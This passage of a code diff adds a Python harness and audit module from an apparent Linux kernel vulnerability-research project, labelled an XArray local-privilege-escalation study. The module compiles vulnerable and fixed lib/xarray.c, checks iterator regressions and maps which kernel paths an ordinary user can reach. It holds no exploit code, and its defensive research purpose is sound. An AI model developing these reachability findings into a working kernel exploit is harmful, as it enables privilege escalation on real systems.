0000000..d6149c4 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/dirtycrow/candidates.py @@ -0,0 +1,1260 @@ +from __future__ import annotations + +import hashlib +import json +import re +import shutil +import tempfile +from pathlib import Path +from typing import Callable, Iterable + +from . import benchmark +from .audit import GitRepository +from .cstruct import parse_c + + +class CandidateHarnessError(ValueError): + """A candidate harness could not produce trustworthy evidence.""" + + +def _sha256(path: Path) -> str: + digest = hashlib.sha256() + with path.open("rb") as source: + for chunk in iter(lambda: source.read(1024 * 1024), b""): + digest.update(chunk) + return digest.hexdigest() + + +def _parse_records(output: str, variant: str) -> list[dict[str, object]]: + records: list[dict[str, object]] = [] + for line in output.splitlines(): + if not line.strip(): + continue + try: + record = json.loads(line) + except json.JSONDecodeError as exc: + raise CandidateHarnessError( + f"{variant} harness emitted invalid JSON: {line!r}" + ) from exc + if not isinstance(record, dict): + raise CandidateHarnessError( + f"{variant} harness emitted a non-object record" + ) + record["variant"] = variant + records.append(record) + expected_adapters = ( + "iterate_xarray", + "extract_xarray_to_sg", + "netfs_limit_xarray", + "__readahead_batch", + ) + expected_sequence = [ + (mode, adapter) + for mode in ("stable_control", "split_mutation") + for adapter in expected_adapters + ] + observed_sequence = [ + (str(record.get("mode")), str(record.get("adapter"))) for record in records + ] + if observed_sequence != expected_sequence: + raise CandidateHarnessError( + f"{variant} harness sequence {observed_sequence!r} does not match " + f"{expected_sequence!r}" + ) + required_booleans = ( + "pattern_ok", + "bounds_ok", + "wrong_offset_detected", + "passed", + ) + for record in records: + for field in required_booleans: + if not isinstance(record.get(field), bool): + raise CandidateHarnessError( + f"{variant} record field {field!r} is not boolean" + ) + return records + + +def _select_compilers( + gcc: str | None, + clang: str | None, +) -> list[benchmark._Compiler]: + requested = ( + tuple( + (family, executable) + for family, executable in (("gcc", gcc), ("clang", clang)) + if executable is not None + ) + if gcc is not None or clang is not None + else (("gcc", None), ("clang", None)) + ) + compilers: list[benchmark._Compiler] = [] + failures: list[str] = [] + for family, executable in requested: + try: + compilers.append(benchmark._resolve_compiler(family, executable)) + except benchmark.BenchmarkError as exc: + if executable is not None: + raise CandidateHarnessError(str(exc)) from exc + failures.append(str(exc)) + if not compilers: + raise CandidateHarnessError("; ".join(failures)) + return compilers + + +def _run_xarray_harness( + kernel_source: Path, + *, + baseline_ref: str, + harness_name: str, + parser: Callable[[str, str], list[dict[str, object]]], + gcc: str | None, + clang: str | None, +) -> dict[str, object]: + sources = benchmark._kernel_sources(kernel_source) + compilers = _select_compilers(gcc, clang) + vulnerable = benchmark._git_source(sources, baseline_ref) + fixed = benchmark._fixed_source(vulnerable) + harness = Path(__file__).with_name(harness_name) + if not harness.is_file(): + raise CandidateHarnessError(f"packaged harness source is missing: {harness}") + revision = benchmark._run_process( + ("git", "rev-parse", "--verify", f"{baseline_ref}^{{commit}}"), + cwd=sources.root, + timeout_seconds=60, + ) + if revision.returncode != 0: + raise CandidateHarnessError( + f"cannot resolve {baseline_ref!r}: {revision.stderr.strip()}" + ) + + records: list[dict[str, object]] = [] + build_logs: list[dict[str, object]] = [] + executable_hashes: list[dict[str, str]] = [] + flags: list[str] = [] + prefix = "dirty-crow-" + harness.stem.replace("_", "-") + "-" + with tempfile.TemporaryDirectory( + prefix=prefix, ignore_cleanup_errors=True + ) as temporary: + directory = Path(temporary) + inputs = benchmark._write_inputs(directory, sources, vulnerable, fixed) + harness_copy = directory / harness.name + shutil.copyfile(harness, harness_copy) + inputs["benchmark"] = harness_copy + for compiler in compilers: + try: + executables, logs, compiler_flags = benchmark._build_variants( + compiler, directory, sources, inputs + ) + except benchmark.BenchmarkError as exc: + raise CandidateHarnessError(str(exc)) from exc + if not flags: + flags = compiler_flags + build_logs.extend({"compiler": compiler.family, **log} for log in logs) + for variant, executable in executables.items(): + executable_hashes.append( + { + "compiler": compiler.family, + "variant": variant, + "sha256": _sha256(executable), + } + ) + result = benchmark._run_binary( + compiler, + executable, + (variant,), + cwd=directory, + ) + if result.returncode != 0: + raise CandidateHarnessError( + f"{compiler.family} {variant} harness exited " + f"{result.returncode}: {result.stderr.strip()}\n" + f"{result.stdout.strip()}" + ) + records.extend( + {"compiler": compiler.family, **record} + for record in parser(result.stdout, variant) + ) + + return { + "source": { + "repository": str(sources.root), + "baseline_ref": baseline_ref, + "baseline_commit": revision.stdout.strip(), + "vulnerable_xarray_sha256": hashlib.sha256(vulnerable).hexdigest(), + "fixed_xarray_sha256": hashlib.sha256(fixed).hexdigest(), + "harness_path": str(harness), + "harness_sha256": _sha256(harness), + }, + "compilers": [ + { + "family": compiler.family, + "executable": str(compiler.executable), + "version": compiler.version, + } + for compiler in compilers + ], + "build": { + "flags": flags, + "logs": build_logs, + "executables": executable_hashes, + }, + "records": records, + } + +def _parse_v420_dax_records( + output: str, variant: str +) -> list[dict[str, object]]: + lines = [line for line in output.splitlines() if line.strip()] + if len(lines) != 1: + raise CandidateHarnessError( + f"{variant} v4.20 DAX harness emitted {len(lines)} records, expected 1" + ) + try: + record = json.loads(lines[0]) + except json.JSONDecodeError as exc: + raise CandidateHarnessError( + f"{variant} v4.20 DAX harness emitted invalid JSON" + ) from exc + if not isinstance(record, dict): + raise CandidateHarnessError( + f"{variant} v4.20 DAX harness emitted a non-object record" + ) + expected_scalars = { + "schema_version": 1, + "model": "v4.20_dax_pmd_to_pte", + "variant": variant, + "passed": True, + } + for field, expected in expected_scalars.items(): + if record.get(field) != expected: + raise CandidateHarnessError( + f"{variant} v4.20 DAX field {field!r} is " + f"{record.get(field)!r}, expected {expected!r}" + ) + integer_fields = ( + "xa_chunk_shift", + "pmd_order", + "cases", + "regressed_cases", + "correctly_skipped_cases", + ) + for field in integer_fields: + if type(record.get(field)) is not int or record[field] < 0: + raise CandidateHarnessError( + f"{variant} v4.20 DAX field {field!r} is not " + "a non-negative integer" + ) + cases = record["cases"] + regressed = record["regressed_cases"] + skipped = record["correctly_skipped_cases"] + if not cases or regressed + skipped != cases: + raise CandidateHarnessError( + f"{variant} v4.20 DAX case accounting is inconsistent" + ) + first = record.get("first_regression") + if variant == "vulnerable": + if not regressed or not isinstance(first, dict): + raise CandidateHarnessError( + "vulnerable v4.20 DAX run did not reproduce an index regression" + ) + fields = ("cursor", "pte_index", "observed_index") + if any(type(first.get(field)) is not int for field in fields): + raise CandidateHarnessError( + "vulnerable v4.20 DAX first regression is malformed" + ) + if not ( + first["observed_index"] < first["cursor"] + and first["pte_index"] < first["cursor"] + ): + raise CandidateHarnessError( + "vulnerable v4.20 DAX first regression is not backward" + ) + elif regressed or skipped != cases or first is not None: + raise CandidateHarnessError( + "fixed v4.20 DAX run retained a backward transition" + ) + return [record] + + +def run_v420_dax_transition( + kernel_source: Path, + *, + baseline_ref: str = "v4.20", + gcc: str | None = None, + clang: str | None = None, +) -> dict[str, object]: + execution = _run_xarray_harness( + kernel_source, + baseline_ref=baseline_ref, + harness_name="v420_dax_transition.c", + parser=_parse_v420_dax_records, + gcc=gcc, + clang=clang, + ) + records = execution["records"] + if not isinstance(records, list): + raise CandidateHarnessError("internal v4.20 DAX records are not a list") + report: dict[str, object] = { + "schema_version": 1, + "title": "Linux v4.20 DAX-shaped XArray transition model", + "candidate_id": "v420-dax-transition", + "passed": bool(records) and all(bool(record["passed"]) for record in records), + **execution, + "conclusion": { + "iterator_regression_reproduced": any( + record["variant"] == "vulnerable" + and bool(record["regressed_cases"]) + for record in records + ), + "candidate_fix_prevents_regression": all( + not record["regressed_cases"] + for record in records + if record["variant"] == "fixed" + ), + "modeled_transition": ( + "A retained xas_find cursor inside one PMD-order multi-index " + "value resumes after that value is replaced by one PTE-order " + "value, matching the shape of grab_mapping_entry() downgrade." + ), + }, + "evidence_boundary": ( + "The harness executes exact upstream v4.20 lib/xarray.c before and " + "after the candidate repair in the kernel userspace test runtime. " + "It models the DAX PMD-to-PTE XArray mutation but does not execute a " + "filesystem, prove that a production DAX consumer retains an " + "unlocked iterator across that mutation, or establish security impact." + ), + } + canonical = json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + report["canonical_payload_sha256"] = hashlib.sha256(canonical).hexdigest() + return report + + + +def _compatibility(records: Iterable[dict[str, object]]) -> dict[str, object]: + failures: list[dict[str, object]] = [] + for record in records: + if not record["passed"]: + failures.append( + { + "compiler": record["compiler"], + "variant": record["variant"], + "adapter": record["adapter"], + "mode": record["mode"], + "expected_index": record["expected_index"], + "observed_index": record["observed_index"], + "wrong_offset_detected": record["wrong_offset_detected"], + "bounds_ok": record["bounds_ok"], + } + ) + return { + "passed": not failures, + "failure_count": len(failures), + "failures": failures, + "acceptance": { + "stable_controls_select_requested_offset": not any( + bool(record["wrong_offset_detected"]) + for record in records + if record["mode"] == "stable_control" + ), + "vulnerable_mutation_detects_wrong_offset": all( + bool(record["wrong_offset_detected"]) + for record in records + if record["variant"] == "vulnerable" + and record["mode"] == "split_mutation" + ), + "fixed_mutation_selects_requested_offset": not any( + bool(record["wrong_offset_detected"]) + for record in records + if record["variant"] == "fixed" and record["mode"] == "split_mutation" + ), + "all_bounds_canaries_intact": all( + bool(record["bounds_ok"]) for record in records + ), + }, + } + + +def run_same_mapping_io_selection( + kernel_source: Path, + *, + baseline_ref: str = "v7.2", + gcc: str | None = None, + clang: str | None = None, +) -> dict[str, object]: + execution = _run_xarray_harness( + kernel_source, + baseline_ref=baseline_ref, + harness_name="same_mapping_io_selection.c", + parser=_parse_records, + gcc=gcc, + clang=clang, + ) + records = execution["records"] + if not isinstance(records, list): + raise CandidateHarnessError("internal harness records are not a list") + compatibility = _compatibility(records) + acceptance = compatibility["acceptance"] + passed = bool(compatibility["passed"]) and all( + bool(value) for value in acceptance.values() + ) + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow same-mapping I/O-selection candidate harness", + "candidate_id": "same-mapping-io-selection", + "passed": passed, + **execution, + "compatibility": compatibility, + "evidence_boundary": ( + "The harness executes the exact baseline and candidate-fixed Linux " + "XArray implementations in the kernel userspace test environment. " + "Its four adapters preserve the selection and data-shape contracts " + "of iterate_xarray, extract_xarray_to_sg, netfs_limit_xarray, and " + "__readahead_batch; it does not mount AFS, SMB/CIFS, NFS, or FS-Cache " + "or prove a live-kernel protocol path." + ), + } + canonical = json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + report["canonical_payload_sha256"] = hashlib.sha256(canonical).hexdigest() + return report + + +def _parse_swapoff_records(output: str, variant: str) -> list[dict[str, object]]: + records: list[dict[str, object]] = [] + for line in output.splitlines(): + if not line.strip(): + continue + try: + record = json.loads(line) + except json.JSONDecodeError as exc: + raise CandidateHarnessError( + f"{variant} swapoff harness emitted invalid JSON: {line!r}" + ) from exc + if not isinstance(record, dict): + raise CandidateHarnessError( + f"{variant} swapoff harness emitted a non-object record" + ) + for field in ("wrong_swap_entry_detected", "bounds_ok", "passed"): + if not isinstance(record.get(field), bool): + raise CandidateHarnessError( + f"{variant} swapoff field {field!r} is not boolean" + ) + record["variant"] = variant + records.append(record) + expected = [ + ("find_swap_entry", "stable_control"), + ("shmem_find_swap_entries", "stable_control"), + ("shmem_find_swap_entries", "split_mutation"), + ] + observed = [ + (str(record.get("adapter")), str(record.get("mode"))) for record in records + ] + if observed != expected: + raise CandidateHarnessError( + f"{variant} swapoff sequence {observed!r} does not match {expected!r}" + ) + return records + + +def run_privileged_swapoff_correctness( + kernel_source: Path, + *, + baseline_ref: str = "v7.2", + legacy_ref: str = "v4.20", + gcc: str | None = None, + clang: str | None = None, +) -> dict[str, object]: + execution = _run_xarray_harness( + kernel_source, + baseline_ref=baseline_ref, + harness_name="swapoff_correctness.c", + parser=_parse_swapoff_records, + gcc=gcc, + clang=clang, + ) + records = execution["records"] + if not isinstance(records, list): + raise CandidateHarnessError("internal swapoff records are not a list") + repository = GitRepository(kernel_source) + source_artifacts = [] + source_text: dict[str, str] = {} + for ref, path in ( + (legacy_ref, "mm/shmem.c"), + (baseline_ref, "mm/shmem.c"), + (baseline_ref, "mm/swapfile.c"), + ): + source = repository.show(ref, path) + key = f"{ref}:{path}" + source_text[key] = source + source_artifacts.append( + { + "ref": ref, + "revision": repository.resolve_ref(ref), + "path": path, + "git_object_id": repository._git("rev-parse", f"{ref}:{path}").strip(), + "sha256": hashlib.sha256(source.encode()).hexdigest(), + "byte_count": len(source.encode()), + } + ) + static_facts = { + "legacy_find_swap_entry_present": bool( + re.search( + r"static\s+unsigned\s+long\s+find_swap_entry\s*\(", + source_text[f"{legacy_ref}:mm/shmem.c"], + ) + ), + "batch_shmem_find_swap_entries_present": bool( + re.search( + r"static\s+unsigned\s+int\s+shmem_find_swap_entries\s*\(", + source_text[f"{baseline_ref}:mm/shmem.c"], + ) + ), + "swapoff_requires_cap_sys_admin": bool( + re.search( + r"SYSCALL_DEFINE1\s*\(\s*swapoff[\s\S]{0,3000}" + r"(?:capable|ns_capable)\s*\([^;]*CAP_SYS_ADMIN", + source_text[f"{baseline_ref}:mm/swapfile.c"], + ) + ), + } + mutation_records = [ + record for record in records if record["mode"] == "split_mutation" + ] + acceptance = { + "legacy_lookup_control_correct": all( + not bool(record["wrong_swap_entry_detected"]) + for record in records + if record["adapter"] == "find_swap_entry" + ), + "stable_batch_control_correct": all( + not bool(record["wrong_swap_entry_detected"]) + for record in records + if record["adapter"] == "shmem_find_swap_entries" + and record["mode"] == "stable_control" + ), + "vulnerable_batch_detects_wrong_selection": all( + bool(record["wrong_swap_entry_detected"]) + for record in mutation_records + if record["variant"] == "vulnerable" + ), + "fixed_batch_prevents_wrong_selection": all( + not bool(record["wrong_swap_entry_detected"]) + for record in mutation_records + if record["variant"] == "fixed" + ), + "swapoff_privilege_gate_proven": static_facts["swapoff_requires_cap_sys_admin"], + "all_bounds_canaries_intact": all( + bool(record["bounds_ok"]) for record in records + ), + } + passed = ( + all(static_facts.values()) + and all(bool(value) for value in acceptance.values()) + and all(bool(record["passed"]) for record in records) + ) + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow privileged swapoff correctness harness", + "candidate_id": "privileged-swapoff-correctness", + "passed": passed, + **execution, + "kernel_source_artifacts": source_artifacts, + "static_facts": static_facts, + "acceptance": acceptance, + "reachability": { + "category": "privileged", + "required_capability": "CAP_SYS_ADMIN", + "ordinary_user_path_claimed": False, + }, + "evidence_boundary": ( + "The actual XArray implementations are exercised with semantic " + "adapters for legacy find_swap_entry and current " + "shmem_find_swap_entries. The vulnerable transition selects a " + "swap entry before the requested start; the candidate fix prevents " + "that selection. swapoff remains categorized as privileged because " + "the syscall requires CAP_SYS_ADMIN. No ordinary-user escalation " + "claim follows from this correctness failure." + ), + } + canonical = json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + report["canonical_payload_sha256"] = hashlib.sha256(canonical).hexdigest() + return report + + +_FSCACHE_REQUIRED_PATHS = ( + "fs/netfs/fscache_io.c", + "fs/netfs/buffered_write.c", + "fs/ceph/addr.c", + "include/linux/pagemap.h", + "mm/huge_memory.c", + "mm/khugepaged.c", + "mm/readahead.c", +) +_LARGE_FOLIO_ENABLE_APIS = ( + "mapping_set_large_folios", + "mapping_set_folio_order_range", + "mapping_set_folio_min_order", +) +_EXPLICIT_MULTI_INDEX_APIS = ( + "xa_store_order", + "xas_set_order", + "filemap_add_folio", + "__filemap_add_folio", +) + + +def _git_grep_paths( + repository: GitRepository, + ref: str, + pattern: str, +) -> list[str]: + output = repository._git( + "grep", + "-l", + "-E", + pattern, + ref, + "--", + "*.c", + "*.h", + allow_no_match=True, + ) + prefix = f"{ref}:" + paths = [ + line.strip()[len(prefix) :] if line.strip().startswith(prefix) else line.strip() + for line in output.splitlines() + if line.strip() + ] + return sorted(dict.fromkeys(paths)) + + +def _source_artifact( + path: str, + source: str, + *, + object_ids: dict[str, str], +) -> dict[str, object]: + return { + "path": path, + "git_object_id": object_ids[path], + "sha256": hashlib.sha256(source.encode()).hexdigest(), + "byte_count": len(source.encode()), + } + + +def _component(path: str) -> str: + parts = Path(path).parts + return "/".join(parts[:2]) if len(parts) >= 2 else parts[0] + + +def _component_calls( + sources: dict[str, str], + component: str, + names: tuple[str, ...], +) -> list[dict[str, object]]: + calls: list[dict[str, object]] = [] + for path, source in sorted(sources.items()): + if _component(path) != component: + continue + unit = parse_c(source) + for call in unit.calls_named(names): + calls.append( + { + "path": path, + "line": call.line, + "function": call.function, + "api": call.name, + "arguments": list(call.arguments), + "conditions": list(call.conditions), + } + ) + return calls + + +def audit_fscache_private2( + kernel_source: Path, + *, + ref: str = "v7.2", +) -> dict[str, object]: + repository = GitRepository(kernel_source) + revision = repository.resolve_ref(ref) + manifest, entries = repository.source_manifest(ref) + object_ids = {str(entry["path"]): str(entry["git_object_id"]) for entry in entries} + missing = [path for path in _FSCACHE_REQUIRED_PATHS if path not in object_ids] + if missing: + raise CandidateHarnessError( + "FS-Cache private2 audit inputs are missing: " + ", ".join(missing) + ) + + caller_paths = _git_grep_paths( + repository, + ref, + r"fscache_write_to_cache[[:space:]]*\(", + ) + relevant_paths = sorted(set(_FSCACHE_REQUIRED_PATHS) | set(caller_paths)) + sources = {path: repository.show(ref, path) for path in relevant_paths} + true_callers: list[dict[str, object]] = [] + all_callers: list[dict[str, object]] = [] + for path in caller_paths: + unit = parse_c(sources[path]) + for call in unit.calls_named( + ("fscache_write_to_cache", "__fscache_write_to_cache") + ): + if len(call.arguments) < 8: + continue + using_pgpriv2 = re.sub(r"[\s()]", "", call.arguments[7]) + record = { + "path": path, + "line": call.line, + "function": call.function, + "api": call.name, + "mapping_argument": call.arguments[1], + "using_pgpriv2_argument": call.arguments[7], + "using_pgpriv2_literal_true": using_pgpriv2 == "true", + "conditions": list(call.conditions), + } + all_callers.append(record) + if record["using_pgpriv2_literal_true"]: + true_callers.append(record) + + if not true_callers: + raise CandidateHarnessError( + "no literal using_pgpriv2=true FS-Cache caller was found" + ) + + manifest_paths = [str(entry["path"]) for entry in entries] + components = sorted({_component(str(caller["path"])) for caller in true_callers}) + component_paths = [ + path + for path in manifest_paths + if _component(path) in components and path.endswith((".c", ".h")) + ] + for path in component_paths: + if path not in sources: + sources[path] = repository.show(ref, path) + + component_results: list[dict[str, object]] = [] + for component in components: + enablement = _component_calls(sources, component, _LARGE_FOLIO_ENABLE_APIS) + explicit_producers = _component_calls( + sources, component, _EXPLICIT_MULTI_INDEX_APIS + ) + component_results.append( + { + "component": component, + "using_pgpriv2_callers": [ + caller + for caller in true_callers + if _component(str(caller["path"])) == component + ], + "large_folio_enablement_calls": enablement, + "explicit_multi_index_producer_calls": explicit_producers, + "multi_index_producer_proven": bool(enablement or explicit_producers), + } + ) + + fscache_unit = parse_c(sources["fs/netfs/fscache_io.c"]) + clear_calls = [ + call + for call in fscache_unit.calls_named(("xas_for_each", "folio_end_private_2")) + if call.function == "__fscache_clear_page_bits" + ] + write_calls = [ + call + for call in fscache_unit.calls_named(("iov_iter_xarray",)) + if call.function == "__fscache_write_to_cache" + ] + consumer_contract = { + "clear_iterates_mapping_i_pages": any( + call.name == "xas_for_each" for call in clear_calls + ) + and "&mapping->i_pages" in sources["fs/netfs/fscache_io.c"], + "clear_releases_private2": any( + call.name == "folio_end_private_2" for call in clear_calls + ), + "write_uses_same_mapping_xarray": any( + call.name == "iov_iter_xarray" + and len(call.arguments) >= 3 + and "mapping->i_pages" in call.arguments[2] + for call in write_calls + ), + "completion_is_using_pgpriv2_gated": ( + "if (wreq->using_pgpriv2)" in sources["fs/netfs/fscache_io.c"] + and "fscache_clear_page_bits(wreq->mapping" + in sources["fs/netfs/fscache_io.c"] + ), + } + consumer_contract_proven = all(consumer_contract.values()) + producer_chain_proven = any( + bool(result["multi_index_producer_proven"]) for result in component_results + ) + producer_chain_disproved = not producer_chain_proven + runtime_activated = producer_chain_proven + runtime_refcount_impact_proven = False + vulnerability_claimed = runtime_refcount_impact_proven + passed = ( + consumer_contract_proven + and producer_chain_disproved + and not runtime_activated + and not vulnerability_claimed + ) + + evidence_paths = sorted( + set(_FSCACHE_REQUIRED_PATHS) + | {str(caller["path"]) for caller in all_callers} + | { + str(call["path"]) + for result in component_results + for category in ( + "large_folio_enablement_calls", + "explicit_multi_index_producer_calls", + ) + for call in result[category] + } + ) + report: dict[str, object] = { + "schema_version": 1, + "title": "Dirty Crow FS-Cache private2 producer/refcount gate", + "candidate_id": "fscache-private2-refcount", + "passed": passed, + "source": { + "repository": str(repository.path), + "ref": ref, + "revision": revision, + "object_format": manifest["git_object_format"], + "manifest_sha256": manifest["manifest_sha256"], + "artifacts": [ + _source_artifact(path, sources[path], object_ids=object_ids) + for path in evidence_paths + ], + }, + "consumer_contract": { + **consumer_contract, + "proven": consumer_contract_proven, + "using_pgpriv2_callers": all_callers, + }, + "producer_analysis": { + "components": component_results, + "producer_chain_proven": producer_chain_proven, + "producer_chain_disproved": producer_chain_disproved, + "disproof": ( + "The only literal using_pgpriv2=true caller is in a component " + "with neither a mapping large-folio enablement call nor an " + "explicit multi-index page-cache producer. Linux requires the " + "filesystem inode constructor to opt the mapping into large " + "folios; generic netfs buffered writes and readahead retain " + "order-0 folios when that capability is absent." + if producer_chain_disproved + else None + ), + }, + "runtime": { + "activated": runtime_activated, + "required_config": [ + "CONFIG_DEBUG_VM=y", + "CONFIG_REFCOUNT_FULL=y", + "CONFIG_KASAN=y", + "CONFIG_PAGE_OWNER=y", + ], + "refcount_impact_proven": runtime_refcount_impact_proven, + "state": ( + "not_activated_missing_multi_index_producer" + if producer_chain_disproved + else "requires_instrumented_kernel_run" + ), + }, + "vulnerability_claimed": vulnerability_claimed, + "evidence_boundary": ( + "This source-static result disproves the prerequisite chain at the " + "exact ref. It does not claim that private2 refcounts are safe for " + "a future filesystem that enables large page-cache folios. A " + "vulnerability remains prohibited until an instrumented runtime " + "shows a refcount imbalance or wrong-folio private2 release." + ), + } + canonical = json.dumps(report, sort_keys=True, separators=(",", ":")).encode() + report["canonical_payload_sha256"] = hashlib.sha256(canonical).hexdigest() + return report + + +_DEFAULT_EARLY_SHMEM_REFS = ( + "v4.20", + "v5.4", + "v5.10", + "v5.15", + "v5.16", + "v5.17", +) +_SHMEM_POLICY_VARIANTS = ( + { + "id": "memfd-default", + "backing": "memfd", + "setup_actor": "ordinary_user", + "policy": "inherited_shm_mount_default", + "requires": [], + }, + { + "id": "tmpfs-default", + "backing": "tmpfs", + "setup_actor": "ordinary_user", + "policy": "preexisting_mount_default", + "requires": ["writable preexisting tmpfs"], + }, + { + "id": "tmpfs-huge-never", + "backing": "tmpfs", + "setup_actor": "administrator", + "policy": "huge=never", + "requires": ["CAP_SYS_ADMIN mount setup"], + }, + { + "id": "tmpfs-huge-always", + "backing": "tmpfs", + "setup_actor": "administrator", + "policy": "huge=always", + "requires": ["CAP_SYS_ADMIN mount setup"], + }, + { + "id": "tmpfs-huge-within-size", + "backing": "tmpfs", + "setup_actor": "administrator", + "policy": "huge=within_size", + "requires": ["CAP_SYS_ADMIN mount setup"], + }, + { + "id": "tmpfs-huge-advise", + "backing": "tmpfs", + "setup_actor": "administrator", + "policy": "huge=advise", + "requires": ["CAP_SYS_ADMIN mount setup", "MADV_HUGEPAGE"], + }, + { + "id": "memfd-sysfs-force", + "backing": "memfd", + "setup_actor": "root", + "policy": "shmem_enabled=force", + "requires": ["root sysfs write"], + }, +) + + +def _source_line(source: str, pattern: str) -> int | None: + match = re.search(pattern, source, re.MULTILINE) + if match is None: + return None + return source.count("\n", 0, match.start()) + 1 + + +def _classify_shmem_observation( + observation: dict[str, object], +) -> dict[str, object]: + required = { + "variant", + "uid", + "effective_capabilities", + "setup_actor", + "preexisting_policy", + "shmem_pmd_kb_before", + "shmem_pmd_kb_after", + "mapping_shmem_pmd_kb_before_split", + "mapping_shmem_pmd_kb_after_split", + } + missing = sorted(required - observation.keys()) + if missing: + raise CandidateHarnessError( + "shmem policy observation is missing: " + ", ".join(missing) + ) + variant = str(observation["variant"]) + if variant not in {str(item["id"]) for item in _SHMEM_POLICY_VARIANTS}: + raise CandidateHarnessError(f"unknown shmem policy variant: {variant!r}") + integer_fields = ( + "uid", + "effective_capabilities", + "shmem_pmd_kb_before", + "shmem_pmd_kb_after", + "mapping_shmem_pmd_kb_before_split", + "mapping_shmem_pmd_kb_after_split", + ) + for field in integer_fields: + value = observation[field] + if isinstance(value, bool) or not isinstance(value, int) or value < 0: + raise CandidateHarnessError( + f"shmem observation field {field!r} must be a non-negative integer" + ) + if not isinstance(observation["preexisting_policy"], bool): + raise CandidateHarnessError( + "shmem observation field 'preexisting_policy' must be boolean" + ) + + uid = int(observation["uid"]) + capabilities = int(observation["effective_capabilities"]) + actor = str(observation["setup_actor"]) + preexisting = bool(observation["preexisting_policy"]) + if actor not in {"ordinary_user", "administrator", "root"}: + raise CandidateHarnessError(f"unknown shmem setup actor: {actor!r}") + if uid == 0 or actor == "root": + category = "root_only_setup" + elif actor == "administrator" or preexisting: + category = "administrator_provisioned_policy" + elif capabilities == 0: + category = "ordinary_user_default" + else: + category = "administrator_provisioned_policy" + + mapping_before = int(observation["mapping_shmem_pmd_kb_before_split"]) + mapping_after = int(observation["mapping_shmem_pmd_kb_after_split"]) + global_before = int(observation["shmem_pmd_kb_before"]) + global_after = int(observation["shmem_pmd_kb_after"]) + return { + **observation, + "category": category, + "shmem_thp_runtime_observed": mapping_before > 0 + or global_after > global_before, + "thp_split_runtime_observed": mapping_before > 0 + and mapping_after < mapping_before, + "xarray_representation_observed": False, + "runtime_boundary": ( + "ShmemPmdMapped proves a shmem THP, not whether the page-cache " + "XArray stores that THP as one multi-index entry or repeated slots." + ), + } + + +def audit_early_shmem_lineage( + kernel_source: Path, + *, + refs: Iterable[str] = _DEFAULT_EARLY_SHMEM_REFS, + observations: Iterable[dict[str, object]] = (), +) -> dict[str, object]: + repository = GitRepository(kernel_source) + ref_list = list(dict.fromkeys(refs)) + if not ref_list: + raise CandidateHarnessError("at least one early-kernel ref is required") + rows: list[dict[str, object]] = [] + for ref in ref_list: + revision = repository.resolve_ref(ref) + sources = { + path: repository.show(ref, path) + for path in ("lib/xarray.c", "mm/filemap.c", "mm/shmem.c") + } + shmem = sources["mm/shmem.c"] + default_match = re.search( + r"static\s+int\s+shmem_huge\b[^=]*=\s*(SHMEM_HUGE_[A-Z_]+)", + shmem, + ) + zero_initialized = bool( + re.search(r"static\s+int\s+shmem_huge\b[^;=]*;", shmem) + and re.search(r"#define\s+SHMEM_HUGE_NEVER\s+0\b", shmem) + ) + global_default = ( + default_match.group(1) + if default_match + else "SHMEM_HUGE_NEVER" if zero_initialized else None + ) + policy_decision = ( + "bool shmem_is_huge(" in shmem + or "bool shmem_huge_enabled(" in shmem + or "static bool shmem_huge_enabled(" in shmem + ) + mount_options = { + option: bool( + re.search( + rf'(?:strcmp\s*\(\s*str\s*,\s*"{re.escape(option)}"' + rf'|\{{\s*"{re.escape(option)}")', + shmem, + ) + ) + for option in ("never", "always", "within_size", "advise") + } + sysfs_mode = re.search(r"__ATTR\s*\(\s*shmem_enabled\s*,\s*([0-7]+)", shmem) + multi_index_store = re.search( + r"XA_STATE_ORDER\s*\([^;]*&mapping->i_pages[\s\S]{0,4096}?" + r"xas_store\s*\(\s*&xas\s*,\s*(?:page|folio)\s*\)", + shmem, + ) + repeated_slot_store = re.search( + r"xas_store\s*\(\s*&xas\s*,\s*(?:page|folio)\s*\+\s*i\s*\)", + shmem, + ) + page_cache_representation = ( + "multi_index_entry" + if multi_index_store + else "repeated_order0_slots" + if repeated_slot_store + else "unresolved" + ) + source_facts = { + "vulnerable_xas_find_branch": bool( + re.search( + r"!xas->xa_node->shift\s*&&\s*xas->xa_offset\s*!=", + sources["lib/xarray.c"], + ) + ), + "filemap_unsigned_index_delta_sink": bool( + re.search( + r"(?:addr|vmf->address)\s*\+=\s*\(xas\.xa_index\s*-\s*last_pgoff\)" + r"\s*<<\s*PAGE_SHIFT", + sources["mm/filemap.c"], + ) + ), + "shmem_thp_decision_present": policy_decision, + "shmem_multi_index_page_cache_store": multi_index_store is not None, + "shmem_repeated_slot_page_cache_store": repeated_slot_store is not None, + "page_cache_representation": page_cache_representation, + "shmem_split_path": bool( + re.search(r"\b(?:split_huge_page|split_folio|xas_(?:try_)?split)\b", shmem) + ), + "ordinary_user_hole_punch": "FALLOC_FL_PUNCH_HOLE" in shmem, + "global_shmem_default": global_default, + "mount_options": mount_options, + "sysfs_shmem_enabled_mode": (sysfs_mode.group(1) if sysfs_mode else None), + "force_overrides_mount_policy": bool( + re.search( + r"shmem_huge\s*==\s*SHMEM_HUGE_FORCE[\s\S]{0,80}" r"return\s+true", + shmem, + ) + ), + "never_default_blocks_memfd": global_default == "SHMEM_HUGE_NEVER", + } + static_chain = all( + bool(source_facts[field]) + for field in ( + "vulnerable_xas_find_branch", + "filemap_unsigned_index_delta_sink", + "shmem_multi_index_page_cache_store", + "shmem_split_path", + "ordinary_user_hole_punch", + ) + ) + artifacts = [] + for path, source in sources.items(): + artifacts.append( + { + "path": path, + "git_object_id": repository._git( + "rev-parse", f"{ref}:{path}" + ).strip(), + "sha256": hashlib.sha256(source.encode()).hexdigest(), + "byte_count": len(source.encode()), + } + ) + if not source_facts["shmem_multi_index_page_cache_store"]: + ordinary_status = "missing_multi_index_page_cache_producer" + administrator_status = "missing_multi_index_page_cache_producer" + root_status = "missing_multi_index_page_cache_producer" + else: + ordinary_status = ( + "shmem_thp_policy_required" + if source_facts["never_default_blocks_memfd"] + else "policy_dependent" + ) + administrator_status = ( + "multi_index_shmem_available_via_tmpfs_huge_option" + if all(mount_options.values()) + else "source_support_incomplete" + ) + root_status = ( + "multi_index_shmem_available_via_sysfs_force" + if source_facts["force_overrides_mount_policy"] + and source_facts["sysfs_shmem_enabled_mode"] == "0644" + else "source_support_incomplete" + ) + rows.append( + { + 